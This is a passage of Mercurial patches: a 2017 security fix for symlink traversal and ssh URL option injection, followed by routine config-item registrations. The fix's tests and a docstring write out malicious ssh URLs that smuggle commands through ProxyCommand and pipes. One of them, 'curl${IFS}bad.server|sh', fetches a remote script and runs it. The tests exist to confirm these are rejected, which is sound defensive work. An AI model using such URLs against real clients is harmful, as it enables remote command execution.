             pass
         repo.dirstate.remove(f)
 
-    audit_path = pathutil.pathauditor(repo.root)
+    audit_path = pathutil.pathauditor(repo.root, cached=True)
     for f in actions['forget'][0]:
         if interactive:
             choice = repo.ui.promptchoice(
diff --git a/mercurial/dirstate.py b/mercurial/dirstate.py
--- a/mercurial/dirstate.py
+++ b/mercurial/dirstate.py
@@ -1152,7 +1152,7 @@
                 # that wasn't ignored, and everything that matched was stat'ed
                 # and is already in results.
                 # The rest must thus be ignored or under a symlink.
-                audit_path = pathutil.pathauditor(self._root)
+                audit_path = pathutil.pathauditor(self._root, cached=True)
 
                 for nf in iter(visit):
                     # If a stat for the same file was already added with a
diff --git a/mercurial/localrepo.py b/mercurial/localrepo.py
--- a/mercurial/localrepo.py
+++ b/mercurial/localrepo.py
@@ -334,11 +334,11 @@
         # only used when writing this comment: basectx.match
         self.auditor = pathutil.pathauditor(self.root, self._checknested)
         self.nofsauditor = pathutil.pathauditor(self.root, self._checknested,
-                                                realfs=False)
+                                                realfs=False, cached=True)
         self.baseui = baseui
         self.ui = baseui.copy()
         self.ui.copy = baseui.copy # prevent copying repo configuration
-        self.vfs = vfsmod.vfs(self.path)
+        self.vfs = vfsmod.vfs(self.path, cacheaudited=True)
         if (self.ui.configbool('devel', 'all-warnings') or
             self.ui.configbool('devel', 'check-locks')):
             self.vfs.audit = self._getvfsward(self.vfs.audit)
@@ -421,12 +421,13 @@
                                     '"sparse" extensions to access'))
 
         self.store = store.store(
-                self.requirements, self.sharedpath, vfsmod.vfs)
+            self.requirements, self.sharedpath,
+            lambda base: vfsmod.vfs(base, cacheaudited=True))
         self.spath = self.store.path
         self.svfs = self.store.vfs
         self.sjoin = self.store.join
         self.vfs.createmode = self.store.createmode
-        self.cachevfs = vfsmod.vfs(cachepath)
+        self.cachevfs = vfsmod.vfs(cachepath, cacheaudited=True)
         self.cachevfs.createmode = self.store.createmode
         if (self.ui.configbool('devel', 'all-warnings') or
             self.ui.configbool('devel', 'check-locks')):
diff --git a/mercurial/pathutil.py b/mercurial/pathutil.py
--- a/mercurial/pathutil.py
+++ b/mercurial/pathutil.py
@@ -33,13 +33,18 @@
     The file system checks are only done when 'realfs' is set to True (the
     default). They should be disable then we are auditing path for operation on
     stored history.
+
+    If 'cached' is set to True, audited paths and sub-directories are cached.
+    Be careful to not keep the cache of unmanaged directories for long because
+    audited paths may be replaced with symlinks.
     '''
 
-    def __init__(self, root, callback=None, realfs=True):
+    def __init__(self, root, callback=None, realfs=True, cached=False):
         self.audited = set()
         self.auditeddir = set()
         self.root = root
         self._realfs = realfs
+        self._cached = cached
         self.callback = callback
         if os.path.lexists(root) and not util.fscasesensitive(root):
             self.normcase = util.normcase
@@ -96,10 +101,11 @@
                 self._checkfs(prefix, path)
             prefixes.append(normprefix)
 
-        self.audited.add(normpath)
-        # only add prefixes to the cache after checking everything: we don't
-        # want to add "foo/bar/baz" before checking if there's a "foo/.hg"
-        self.auditeddir.update(prefixes)
+        if self._cached:
+            self.audited.add(normpath)
+            # only add prefixes to the cache after checking everything: we don't
+            # want to add "foo/bar/baz" before checking if there's a "foo/.hg"
+            self.auditeddir.update(prefixes)
 
     def _checkfs(self, prefix, path):
         """raise exception if a file system backed check fails"""
diff --git a/mercurial/posix.py b/mercurial/posix.py
--- a/mercurial/posix.py
+++ b/mercurial/posix.py
@@ -23,6 +23,7 @@
 from .i18n import _
 from . import (
     encoding,
+    error,
     pycompat,
 )
 
@@ -91,7 +92,13 @@
 def sshargs(sshcmd, host, user, port):
     '''Build argument list for ssh'''
     args = user and ("%s@%s" % (user, host)) or host
-    return port and ("%s -p %s" % (args, port)) or args
+    if '-' in args[:1]:
+        raise error.Abort(
+            _('illegal ssh hostname or username starting with -: %s') % args)
+    args = shellquote(args)
+    if port:
+        args = '-p %s %s' % (shellquote(port), args)
+    return args
 
 def isexec(f):
     """check whether a file is executable"""
diff --git a/mercurial/scmutil.py b/mercurial/scmutil.py
--- a/mercurial/scmutil.py
+++ b/mercurial/scmutil.py
@@ -738,7 +738,7 @@
     This is different from dirstate.status because it doesn't care about
     whether files are modified or clean.'''
     added, unknown, deleted, removed, forgotten = [], [], [], [], []
-    audit_path = pathutil.pathauditor(repo.root)
+    audit_path = pathutil.pathauditor(repo.root, cached=True)
 
     ctx = repo[None]
     dirstate = repo.dirstate
diff --git a/mercurial/sshpeer.py b/mercurial/sshpeer.py
--- a/mercurial/sshpeer.py
+++ b/mercurial/sshpeer.py
@@ -124,6 +124,8 @@
         if u.scheme != 'ssh' or not u.host or u.path is None:
             self._abort(error.RepoError(_("couldn't parse location %s") % path))
 
+        util.checksafessh(path)
+
         self.user = u.user
         if u.passwd is not None:
             self._abort(error.RepoError(_("password in URL not supported")))
@@ -134,10 +136,7 @@
         sshcmd = self.ui.config("ui", "ssh")
         remotecmd = self.ui.config("ui", "remotecmd")
 
-        args = util.sshargs(sshcmd,
-                            _serverquote(self.host),
-                            _serverquote(self.user),
-                            _serverquote(self.port))
+        args = util.sshargs(sshcmd, self.host, self.user, self.port)
 
         if create:
             cmd = '%s %s %s' % (sshcmd, args,
diff --git a/mercurial/subrepo.py b/mercurial/subrepo.py
--- a/mercurial/subrepo.py
+++ b/mercurial/subrepo.py
@@ -1281,6 +1281,10 @@
         # The revision must be specified at the end of the URL to properly
         # update to a directory which has since been deleted and recreated.
         args.append('%s@%s' % (state[0], state[1]))
+
+        # SEC: check that the ssh url is safe
+        util.checksafessh(state[0])
+
         status, err = self._svncommand(args, failok=True)
         _sanitize(self.ui, self.wvfs, '.svn')
         if not re.search('Checked out revision [0-9]+.', status):
@@ -1546,6 +1550,9 @@
 
     def _fetch(self, source, revision):
         if self._gitmissing():
+            # SEC: check for safe ssh url
+            util.checksafessh(source)
+
             source = self._abssource(source)
             self.ui.status(_('cloning subrepo %s from %s\n') %
                             (self._relpath, source))
diff --git a/mercurial/util.py b/mercurial/util.py
--- a/mercurial/util.py
+++ b/mercurial/util.py
@@ -2907,6 +2907,21 @@
 def urllocalpath(path):
     return url(path, parsequery=False, parsefragment=False).localpath()
 
+def checksafessh(path):
+    """check if a path / url is a potentially unsafe ssh exploit (SEC)
+
+    This is a sanity check for ssh urls. ssh will parse the first item as
+    an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
+    Let's prevent these potentially exploited urls entirely and warn the
+    user.
+
+    Raises an error.Abort when the url is unsafe.
+    """
+    path = urlreq.unquote(path)
+    if path.startswith('ssh://-') or path.startswith('svn+ssh://-'):
+        raise error.Abort(_('potentially unsafe url: %r') %
+                          (path,))
+
 def hidepassword(u):
     '''hide user credential in a url string'''
     u = url(u)
diff --git a/mercurial/vfs.py b/mercurial/vfs.py
--- a/mercurial/vfs.py
+++ b/mercurial/vfs.py
@@ -295,8 +295,13 @@
 
     This class is used to hide the details of COW semantics and
     remote file access from higher level code.
+
+    'cacheaudited' should be enabled only if (a) vfs object is short-lived, or
+    (b) the base directory is managed by hg and considered sort-of append-only.
+    See pathutil.pathauditor() for details.
     '''
-    def __init__(self, base, audit=True, expandpath=False, realpath=False):
+    def __init__(self, base, audit=True, cacheaudited=False, expandpath=False,
+                 realpath=False):
         if expandpath:
             base = util.expandpath(base)
         if realpath:
@@ -304,7 +309,7 @@
         self.base = base
         self._audit = audit
         if audit:
-            self.audit = pathutil.pathauditor(self.base)
+            self.audit = pathutil.pathauditor(self.base, cached=cacheaudited)
         else:
             self.audit = (lambda path, mode=None: True)
         self.createmode = None
diff --git a/mercurial/windows.py b/mercurial/windows.py
--- a/mercurial/windows.py
+++ b/mercurial/windows.py
@@ -17,6 +17,7 @@
 from .i18n import _
 from . import (
     encoding,
+    error,
     policy,
     pycompat,
     win32,
@@ -203,7 +204,14 @@
     '''Build argument list for ssh or Plink'''
     pflag = 'plink' in sshcmd.lower() and '-P' or '-p'
     args = user and ("%s@%s" % (user, host)) or host
-    return port and ("%s %s %s" % (args, pflag, port)) or args
+    if args.startswith('-') or args.startswith('/'):
+        raise error.Abort(
+            _('illegal ssh hostname or username starting with - or /: %s') %
+            args)
+    args = shellquote(args)
+    if port:
+        args = '%s %s %s' % (pflag, shellquote(port), args)
+    return args
 
 def setflags(f, l, x):
     pass
diff --git a/tests/test-audit-path.t b/tests/test-audit-path.t
--- a/tests/test-audit-path.t
+++ b/tests/test-audit-path.t
@@ -129,3 +129,103 @@
   [255]
 
   $ cd ..
+
+Test symlink traversal on merge:
+--------------------------------
+
+#if symlink
+
+set up symlink hell
+
+  $ mkdir merge-symlink-out
+  $ hg init merge-symlink
+  $ cd merge-symlink
+  $ touch base
+  $ hg commit -qAm base
+  $ ln -s ../merge-symlink-out a
+  $ hg commit -qAm 'symlink a -> ../merge-symlink-out'
+  $ hg up -q 0
+  $ mkdir a
+  $ touch a/poisoned
+  $ hg commit -qAm 'file a/poisoned'
+  $ hg log -G -T '{rev}: {desc}\n'
+  @  2: file a/poisoned
+  |
+  | o  1: symlink a -> ../merge-symlink-out
+  |/
+  o  0: base
+  
+
+try trivial merge
+
+  $ hg up -qC 1
+  $ hg merge 2
+  abort: path 'a/poisoned' traverses symbolic link 'a'
+  [255]
+
+try rebase onto other revision: cache of audited paths should be discarded,
+and the rebase should fail (issue5628)
+
+  $ hg up -qC 2
+  $ hg rebase -s 2 -d 1 --config extensions.rebase=
+  rebasing 2:e73c21d6b244 "file a/poisoned" (tip)
+  abort: path 'a/poisoned' traverses symbolic link 'a'
+  [255]
+  $ ls ../merge-symlink-out
+
+  $ cd ..
+
+Test symlink traversal on update:
+---------------------------------
+
+  $ mkdir update-symlink-out
+  $ hg init update-symlink
+  $ cd update-symlink
+  $ ln -s ../update-symlink-out a
+  $ hg commit -qAm 'symlink a -> ../update-symlink-out'
+  $ hg rm a
+  $ mkdir a && touch a/b
+  $ hg ci -qAm 'file a/b' a/b
+  $ hg up -qC 0
+  $ hg rm a
+  $ mkdir a && touch a/c
+  $ hg ci -qAm 'rm a, file a/c'
+  $ hg log -G -T '{rev}: {desc}\n'
+  @  2: rm a, file a/c
+  |
+  | o  1: file a/b
+  |/
+  o  0: symlink a -> ../update-symlink-out
+  
+
+try linear update where symlink already exists:
+
+  $ hg up -qC 0
+  $ hg up 1
+  abort: path 'a/b' traverses symbolic link 'a'
+  [255]
+
+try linear update including symlinked directory and its content: paths are
+audited first by calculateupdates(), where no symlink is created so both
+'a' and 'a/b' are taken as good paths. still applyupdates() should fail.
+
+  $ hg up -qC null
+  $ hg up 1
+  abort: path 'a/b' traverses symbolic link 'a'
+  [255]
+  $ ls ../update-symlink-out
+
+try branch update replacing directory with symlink, and its content: the
+path 'a' is audited as a directory first, which should be audited again as
+a symlink.
+
+  $ rm -f a
+  $ hg up -qC 2
+  $ hg up 1
+  abort: path 'a/b' traverses symbolic link 'a'
+  [255]
+  $ ls ../update-symlink-out
+
+  $ cd ..
+
+#endif
diff --git a/tests/test-clone.t b/tests/test-clone.t
--- a/tests/test-clone.t
+++ b/tests/test-clone.t
@@ -1097,3 +1097,66 @@
   adding remote bookmark bookA
   updating working directory
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
+
+SEC: check for unsafe ssh url
+
+  $ cat >> $HGRCPATH << EOF
+  > [ui]
+  > ssh = sh -c "read l; read l; read l"
+  > EOF
+
+  $ hg clone 'ssh://-oProxyCommand=touch${IFS}owned/path'
+  abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path'
+  [255]
+  $ hg clone 'ssh://%2DoProxyCommand=touch${IFS}owned/path'
+  abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path'
+  [255]
+  $ hg clone 'ssh://fakehost|touch%20owned/path'
+  abort: no suitable response from remote hg!
+  [255]
+  $ hg clone 'ssh://fakehost%7Ctouch%20owned/path'
+  abort: no suitable response from remote hg!
+  [255]
+
+  $ hg clone 'ssh://-oProxyCommand=touch owned%20foo@example.com/nonexistent/path'
+  abort: potentially unsafe url: 'ssh://-oProxyCommand=touch owned foo@example.com/nonexistent/path'
+  [255]
+
+#if windows
+  $ hg clone "ssh://%26touch%20owned%20/" --debug
+  running sh -c "read l; read l; read l" "&touch owned " "hg -R . serve --stdio"
+  sending hello command
+  sending between command
+  abort: no suitable response from remote hg!
+  [255]
+  $ hg clone "ssh://example.com:%26touch%20owned%20/" --debug
+  running sh -c "read l; read l; read l" -p "&touch owned " example.com "hg -R . serve --stdio"
+  sending hello command
+  sending between command
+  abort: no suitable response from remote hg!
+  [255]
+#else
+  $ hg clone "ssh://%3btouch%20owned%20/" --debug
+  running sh -c "read l; read l; read l" ';touch owned ' 'hg -R . serve --stdio'
+  sending hello command
+  sending between command
+  abort: no suitable response from remote hg!
+  [255]
+  $ hg clone "ssh://example.com:%3btouch%20owned%20/" --debug
+  running sh -c "read l; read l; read l" -p ';touch owned ' example.com 'hg -R . serve --stdio'
+  sending hello command
+  sending between command
+  abort: no suitable response from remote hg!
+  [255]
+#endif
+
+  $ hg clone "ssh://v-alid.example.com/" --debug
+  running sh -c "read l; read l; read l" v-alid\.example\.com ['"]hg -R \. serve --stdio['"] (re)
+  sending hello command
+  sending between command
+  abort: no suitable response from remote hg!
+  [255]
+
+We should not have created a file named owned - if it exists, the
+attack succeeded.
+  $ if test -f owned; then echo 'you got owned'; fi
diff --git a/tests/test-commandserver.t b/tests/test-commandserver.t
--- a/tests/test-commandserver.t
+++ b/tests/test-commandserver.t
@@ -908,3 +908,80 @@
   *** runcommand log
   0 bar (bar)
   *** runcommand verify -q
+
+  $ cd ..
+
+Test symlink traversal over cached audited paths:
+-------------------------------------------------
+
+#if symlink
+
+set up symlink hell
+
+  $ mkdir merge-symlink-out
+  $ hg init merge-symlink
+  $ cd merge-symlink
+  $ touch base
+  $ hg commit -qAm base
+  $ ln -s ../merge-symlink-out a
+  $ hg commit -qAm 'symlink a -> ../merge-symlink-out'
+  $ hg up -q 0
+  $ mkdir a
+  $ touch a/poisoned
+  $ hg commit -qAm 'file a/poisoned'
+  $ hg log -G -T '{rev}: {desc}\n'
+  @  2: file a/poisoned
+  |
+  | o  1: symlink a -> ../merge-symlink-out
+  |/
+  o  0: base
+  
+
+try trivial merge after update: cache of audited paths should be discarded,
+and the merge should fail (issue5628)
+
+  $ hg up -q null
+  >>> from hgclient import readchannel, runcommand, check
+  >>> @check
+  ... def merge(server):
+  ...     readchannel(server)
+  ...     # audit a/poisoned as a good path
+  ...     runcommand(server, ['up', '-qC', '2'])
+  ...     runcommand(server, ['up', '-qC', '1'])
+  ...     # here a is a symlink, so a/poisoned is bad
+  ...     runcommand(server, ['merge', '2'])
+  *** runcommand up -qC 2
+  *** runcommand up -qC 1
+  *** runcommand merge 2
+  abort: path 'a/poisoned' traverses symbolic link 'a'
+   [255]
+  $ ls ../merge-symlink-out
+
+cache of repo.auditor should be discarded, so matcher would never traverse
+symlinks:
+
+  $ hg up -qC 0
+  $ touch ../merge-symlink-out/poisoned
+  >>> from hgclient import readchannel, runcommand, check
+  >>> @check
+  ... def files(server):
+  ...     readchannel(server)
+  ...     runcommand(server, ['up', '-qC', '2'])
+  ...     # audit a/poisoned as a good path
+  ...     runcommand(server, ['files', 'a/poisoned'])
+  ...     runcommand(server, ['up', '-qC', '0'])
+  ...     runcommand(server, ['up', '-qC', '1'])
+  ...     # here 'a' is a symlink, so a/poisoned should be warned
+  ...     runcommand(server, ['files', 'a/poisoned'])
+  *** runcommand up -qC 2
+  *** runcommand files a/poisoned
+  a/poisoned
+  *** runcommand up -qC 0
+  *** runcommand up -qC 1
+  *** runcommand files a/poisoned
+  abort: path 'a/poisoned' traverses symbolic link 'a'
+   [255]
+
+  $ cd ..
+
+#endif
diff --git a/tests/test-pull.t b/tests/test-pull.t
--- a/tests/test-pull.t
+++ b/tests/test-pull.t
@@ -105,4 +105,30 @@
   $ URL=`$PYTHON -c "import os; print 'file://localhost' + ('/' + os.getcwd().replace(os.sep, '/')).replace('//', '/') + '/../test'"`
   $ hg pull -q "$URL"
 
+SEC: check for unsafe ssh url
+
+  $ cat >> $HGRCPATH << EOF
+  > [ui]
+  > ssh = sh -c "read l; read l; read l"
+  > EOF
+
+  $ hg pull 'ssh://-oProxyCommand=touch${IFS}owned/path'
+  pulling from ssh://-oProxyCommand%3Dtouch%24%7BIFS%7Downed/path
+  abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path'
+  [255]
+  $ hg pull 'ssh://%2DoProxyCommand=touch${IFS}owned/path'
+  pulling from ssh://-oProxyCommand%3Dtouch%24%7BIFS%7Downed/path
+  abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path'
+  [255]
+  $ hg pull 'ssh://fakehost|touch${IFS}owned/path'
+  pulling from ssh://fakehost%7Ctouch%24%7BIFS%7Downed/path
+  abort: no suitable response from remote hg!
+  [255]
+  $ hg pull 'ssh://fakehost%7Ctouch%20owned/path'
+  pulling from ssh://fakehost%7Ctouch%20owned/path
+  abort: no suitable response from remote hg!
+  [255]
+
+  $ [ ! -f owned ] || echo 'you got owned'
+
   $ cd ..
diff --git a/tests/test-push.t b/tests/test-push.t
--- a/tests/test-push.t
+++ b/tests/test-push.t
@@ -316,3 +316,29 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+
+SEC: check for unsafe ssh url
+
+  $ cat >> $HGRCPATH << EOF
+  > [ui]
+  > ssh = sh -c "read l; read l; read l"
+  > EOF
+
+  $ hg -R test-revflag push 'ssh://-oProxyCommand=touch${IFS}owned/path'
+  pushing to ssh://-oProxyCommand%3Dtouch%24%7BIFS%7Downed/path
+  abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path'
+  [255]
+  $ hg -R test-revflag push 'ssh://%2DoProxyCommand=touch${IFS}owned/path'
+  pushing to ssh://-oProxyCommand%3Dtouch%24%7BIFS%7Downed/path
+  abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path'
+  [255]
+  $ hg -R test-revflag push 'ssh://fakehost|touch${IFS}owned/path'
+  pushing to ssh://fakehost%7Ctouch%24%7BIFS%7Downed/path
+  abort: no suitable response from remote hg!
+  [255]
+  $ hg -R test-revflag push 'ssh://fakehost%7Ctouch%20owned/path'
+  pushing to ssh://fakehost%7Ctouch%20owned/path
+  abort: no suitable response from remote hg!
+  [255]
+
+  $ [ ! -f owned ] || echo 'you got owned'
diff --git a/tests/test-ssh-bundle1.t b/tests/test-ssh-bundle1.t
--- a/tests/test-ssh-bundle1.t
+++ b/tests/test-ssh-bundle1.t
@@ -461,7 +461,7 @@
 
   $ hg pull --debug ssh://user@dummy/remote
   pulling from ssh://user@dummy/remote
-  running .* ".*/dummyssh" user@dummy ('|")hg -R remote serve --stdio('|") (re)
+  running .* ".*/dummyssh" ['"]user@dummy['"] ('|")hg -R remote serve --stdio('|") (re)
   sending hello command
   sending between command
   remote: 355
diff --git a/tests/test-ssh.t b/tests/test-ssh.t
--- a/tests/test-ssh.t
+++ b/tests/test-ssh.t
@@ -477,7 +477,7 @@
 
   $ hg pull --debug ssh://user@dummy/remote
   pulling from ssh://user@dummy/remote
-  running .* ".*/dummyssh" user@dummy ('|")hg -R remote serve --stdio('|") (re)
+  running .* ".*/dummyssh" ['"]user@dummy['"] ('|")hg -R remote serve --stdio('|") (re)
   sending hello command
   sending between command
   remote: 355
diff --git a/tests/test-subrepo-git.t b/tests/test-subrepo-git.t
--- a/tests/test-subrepo-git.t
+++ b/tests/test-subrepo-git.t
@@ -1182,3 +1182,34 @@
   pwned: you asked for it
 
 #endif
+
+test for ssh exploit with git subrepos 2017-07-25
+
+  $ hg init malicious-proxycommand
+  $ cd malicious-proxycommand
+  $ echo 's = [git]ssh://-oProxyCommand=rm${IFS}non-existent/path' > .hgsub
+  $ git init s
+  Initialized empty Git repository in $TESTTMP/tc/malicious-proxycommand/s/.git/
+  $ cd s
+  $ git commit --allow-empty -m 'empty'
+  [master (root-commit) 153f934] empty
+  $ cd ..
+  $ hg add .hgsub
+  $ hg ci -m 'add subrepo'
+  $ cd ..
+  $ hg clone malicious-proxycommand malicious-proxycommand-clone
+  updating to branch default
+  abort: potentially unsafe url: 'ssh://-oProxyCommand=rm${IFS}non-existent/path' (in subrepository "s")
+  [255]
+
+also check that a percent encoded '-' (%2D) doesn't work
+
+  $ cd malicious-proxycommand
+  $ echo 's = [git]ssh://%2DoProxyCommand=rm${IFS}non-existent/path' > .hgsub
+  $ hg ci -m 'change url to percent encoded'
+  $ cd ..
+  $ rm -r malicious-proxycommand-clone
+  $ hg clone malicious-proxycommand malicious-proxycommand-clone
+  updating to branch default
+  abort: potentially unsafe url: 'ssh://-oProxyCommand=rm${IFS}non-existent/path' (in subrepository "s")
+  [255]
diff --git a/tests/test-subrepo-svn.t b/tests/test-subrepo-svn.t
--- a/tests/test-subrepo-svn.t
+++ b/tests/test-subrepo-svn.t
@@ -639,3 +639,43 @@
   $ hg update -q -C '.^1'
 
   $ cd ../..
+
+SEC: test for ssh exploit
+
+  $ hg init ssh-vuln
+  $ cd ssh-vuln
+  $ echo "s = [svn]$SVNREPOURL/src" >> .hgsub
+  $ svn co --quiet "$SVNREPOURL"/src s
+  $ hg add .hgsub
+  $ hg ci -m1
+  $ echo "s = [svn]svn+ssh://-oProxyCommand=touch%20owned%20nested" > .hgsub
+  $ hg ci -m2
+  $ cd ..
+  $ hg clone ssh-vuln ssh-vuln-clone
+  updating to branch default
+  abort: potentially unsafe url: 'svn+ssh://-oProxyCommand=touch owned nested' (in subrepository "s")
+  [255]
+
+also check that a percent encoded '-' (%2D) doesn't work
+
+  $ cd ssh-vuln
+  $ echo "s = [svn]svn+ssh://%2DoProxyCommand=touch%20owned%20nested" > .hgsub
+  $ hg ci -m3
+  $ cd ..
+  $ rm -r ssh-vuln-clone
+  $ hg clone ssh-vuln ssh-vuln-clone
+  updating to branch default
+  abort: potentially unsafe url: 'svn+ssh://-oProxyCommand=touch owned nested' (in subrepository "s")
+  [255]
+
+also check that hiding the attack in the username doesn't work:
+
+  $ cd ssh-vuln
+  $ echo "s = [svn]svn+ssh://%2DoProxyCommand=touch%20owned%20foo@example.com/nested" > .hgsub
+  $ hg ci -m3
+  $ cd ..
+  $ rm -r ssh-vuln-clone
+  $ hg clone ssh-vuln ssh-vuln-clone
+  updating to branch default
+  abort: potentially unsafe url: 'svn+ssh://-oProxyCommand=touch owned foo@example.com/nested' (in subrepository "s")
+  [255]
diff --git a/tests/test-subrepo.t b/tests/test-subrepo.t
--- a/tests/test-subrepo.t
+++ b/tests/test-subrepo.t
@@ -1789,3 +1789,77 @@
   +bar
 
   $ cd ..
+
+test for ssh exploit 2017-07-25
+
+  $ cat >> $HGRCPATH << EOF
+  > [ui]
+  > ssh = sh -c "read l; read l; read l"
+  > EOF
+
+  $ hg init malicious-proxycommand
+  $ cd malicious-proxycommand
+  $ echo 's = [hg]ssh://-oProxyCommand=touch${IFS}owned/path' > .hgsub
+  $ hg init s
+  $ cd s
+  $ echo init > init
+  $ hg add
+  adding init
+  $ hg commit -m init
+  $ cd ..
+  $ hg add .hgsub
+  $ hg ci -m 'add subrepo'
+  $ cd ..
+  $ hg clone malicious-proxycommand malicious-proxycommand-clone
+  updating to branch default
+  abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path' (in subrepository "s")
+  [255]
+
+also check that a percent encoded '-' (%2D) doesn't work
+
+  $ cd malicious-proxycommand
+  $ echo 's = [hg]ssh://%2DoProxyCommand=touch${IFS}owned/path' > .hgsub
+  $ hg ci -m 'change url to percent encoded'
+  $ cd ..
+  $ rm -r malicious-proxycommand-clone
+  $ hg clone malicious-proxycommand malicious-proxycommand-clone
+  updating to branch default
+  abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path' (in subrepository "s")
+  [255]
+
+also check for a pipe
+
+  $ cd malicious-proxycommand
+  $ echo 's = [hg]ssh://fakehost|touch${IFS}owned/path' > .hgsub
+  $ hg ci -m 'change url to pipe'
+  $ cd ..
+  $ rm -r malicious-proxycommand-clone
+  $ hg clone malicious-proxycommand malicious-proxycommand-clone
+  updating to branch default
+  abort: no suitable response from remote hg!
+  [255]
+  $ [ ! -f owned ] || echo 'you got owned'
+
+also check that a percent encoded '|' (%7C) doesn't work
+
+  $ cd malicious-proxycommand
+  $ echo 's = [hg]ssh://fakehost%7Ctouch%20owned/path' > .hgsub
+  $ hg ci -m 'change url to percent encoded pipe'
+  $ cd ..
+  $ rm -r malicious-proxycommand-clone
+  $ hg clone malicious-proxycommand malicious-proxycommand-clone
+  updating to branch default
+  abort: no suitable response from remote hg!
+  [255]
+  $ [ ! -f owned ] || echo 'you got owned'
+
+and bad usernames:
+  $ cd malicious-proxycommand
+  $ echo 's = [hg]ssh://-oProxyCommand=touch owned@example.com/path' > .hgsub
+  $ hg ci -m 'owned username'
+  $ cd ..
+  $ rm -r malicious-proxycommand-clone
+  $ hg clone malicious-proxycommand malicious-proxycommand-clone
+  updating to branch default
+  abort: potentially unsafe url: 'ssh://-oProxyCommand=touch owned@example.com/path' (in subrepository "s")
+  [255]
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1498786998 -7200
#      Fri Jun 30 03:43:18 2017 +0200
# Node ID 2069a8c336b92526ca7113a54a40f25467249513
# Parent  02a745c20121f9add702f0200dc5522e912c2d20
configitems: register the 'notify.config' config

diff --git a/hgext/notify.py b/hgext/notify.py
--- a/hgext/notify.py
+++ b/hgext/notify.py
@@ -145,6 +145,7 @@
     error,
     mail,
     patch,
+    registrar,
     util,
 )
 
@@ -154,6 +155,13 @@
 # leave the attribute unspecified.
 testedwith = 'ships-with-hg-core'
 
+configtable = {}
+configitem = registrar.configitem(configtable)
+
+configitem('notify', 'config',
+    default=None,
+)
+
 # template for single changeset can include email headers.
 single_template = '''
 Subject: changeset in {webroot}: {desc|firstline|strip}
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1498786999 -7200
#      Fri Jun 30 03:43:19 2017 +0200
# Node ID b30da11d92332bd53e9f31d4bc959a85eca4cb7f
# Parent  2069a8c336b92526ca7113a54a40f25467249513
configitems: register the 'notify.diffstat' config

diff --git a/hgext/notify.py b/hgext/notify.py
--- a/hgext/notify.py
+++ b/hgext/notify.py
@@ -161,6 +161,9 @@
 configitem('notify', 'config',
     default=None,
 )
+configitem('notify', 'diffstat',
+    default=True,
+)
 
 # template for single changeset can include email headers.
 single_template = '''
@@ -368,7 +371,7 @@
                             opts=patch.diffallopts(self.ui))
         difflines = ''.join(chunks).splitlines()
 
-        if self.ui.configbool('notify', 'diffstat', True):
+        if self.ui.configbool('notify', 'diffstat'):
             s = patch.diffstat(difflines)
             # s may be nil, don't include the header if it is
             if s:
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1498787000 -7200
#      Fri Jun 30 03:43:20 2017 +0200
# Node ID a853325102a0512c334ed56853c66aee34963ff6
# Parent  b30da11d92332bd53e9f31d4bc959a85eca4cb7f
configitems: register the 'notify.domain' config

diff --git a/hgext/notify.py b/hgext/notify.py
--- a/hgext/notify.py
+++ b/hgext/notify.py
@@ -164,6 +164,9 @@
 configitem('notify', 'diffstat',
     default=True,
 )
+configitem('notify', 'domain',
+    default=None,
+)
 
 # template for single changeset can include email headers.
 single_template = '''
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1498787002 -7200
#      Fri Jun 30 03:43:22 2017 +0200
# Node ID b14be4deac065ebd48642e5231a31b140fb65dd7
# Parent  a853325102a0512c334ed56853c66aee34963ff6
configitems: register the 'notify.fromauthor' config

diff --git a/hgext/notify.py b/hgext/notify.py
--- a/hgext/notify.py
+++ b/hgext/notify.py
@@ -167,6 +167,9 @@
 configitem('notify', 'domain',
     default=None,
 )
+configitem('notify', 'fromauthor',
+    default=None,
+)
 
 # template for single changeset can include email headers.
 single_template = '''
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1498787003 -7200
#      Fri Jun 30 03:43:23 2017 +0200
# Node ID 66860180b0093def947eeed1b2075663b7435d0e
# Parent  b14be4deac065ebd48642e5231a31b140fb65dd7
configitems: register the 'notify.maxdiff' config

diff --git a/hgext/notify.py b/hgext/notify.py
--- a/hgext/notify.py
+++ b/hgext/notify.py
@@ -170,6 +170,9 @@
 configitem('notify', 'fromauthor',
     default=None,
 )
+configitem('notify', 'maxdiff',
+    default=300,
+)
 
 # template for single changeset can include email headers.
 single_template = '''
@@ -367,7 +370,7 @@
 
     def diff(self, ctx, ref=None):
 
-        maxdiff = int(self.ui.config('notify', 'maxdiff', 300))
+        maxdiff = int(self.ui.config('notify', 'maxdiff'))
         prev = ctx.p1().node()
         if ref:
             ref = ref.node()
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1498787004 -7200
#      Fri Jun 30 03:43:24 2017 +0200
# Node ID 3d08f481069093cea3e55f2dc8647e3be32b7bce
# Parent  66860180b0093def947eeed1b2075663b7435d0e
configitems: register the 'notify.maxsubject' config

diff --git a/hgext/notify.py b/hgext/notify.py
--- a/hgext/notify.py
+++ b/hgext/notify.py
@@ -173,6 +173,9 @@
 configitem('notify', 'maxdiff',
     default=300,
 )
+configitem('notify', 'maxsubject',
+    default=67,
+)
 
 # template for single changeset can include email headers.
 single_template = '''
@@ -336,7 +339,7 @@
             else:
                 s = ctx.description().lstrip().split('\n', 1)[0].rstrip()
                 subject = '%s: %s' % (self.root, s)
-        maxsubject = int(self.ui.config('notify', 'maxsubject', 67))
+        maxsubject = int(self.ui.config('notify', 'maxsubject'))
         if maxsubject:
             subject = util.ellipsis(subject, maxsubject)
         msg['Subject'] = mail.headencode(self.ui, subject,
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1498787005 -7200
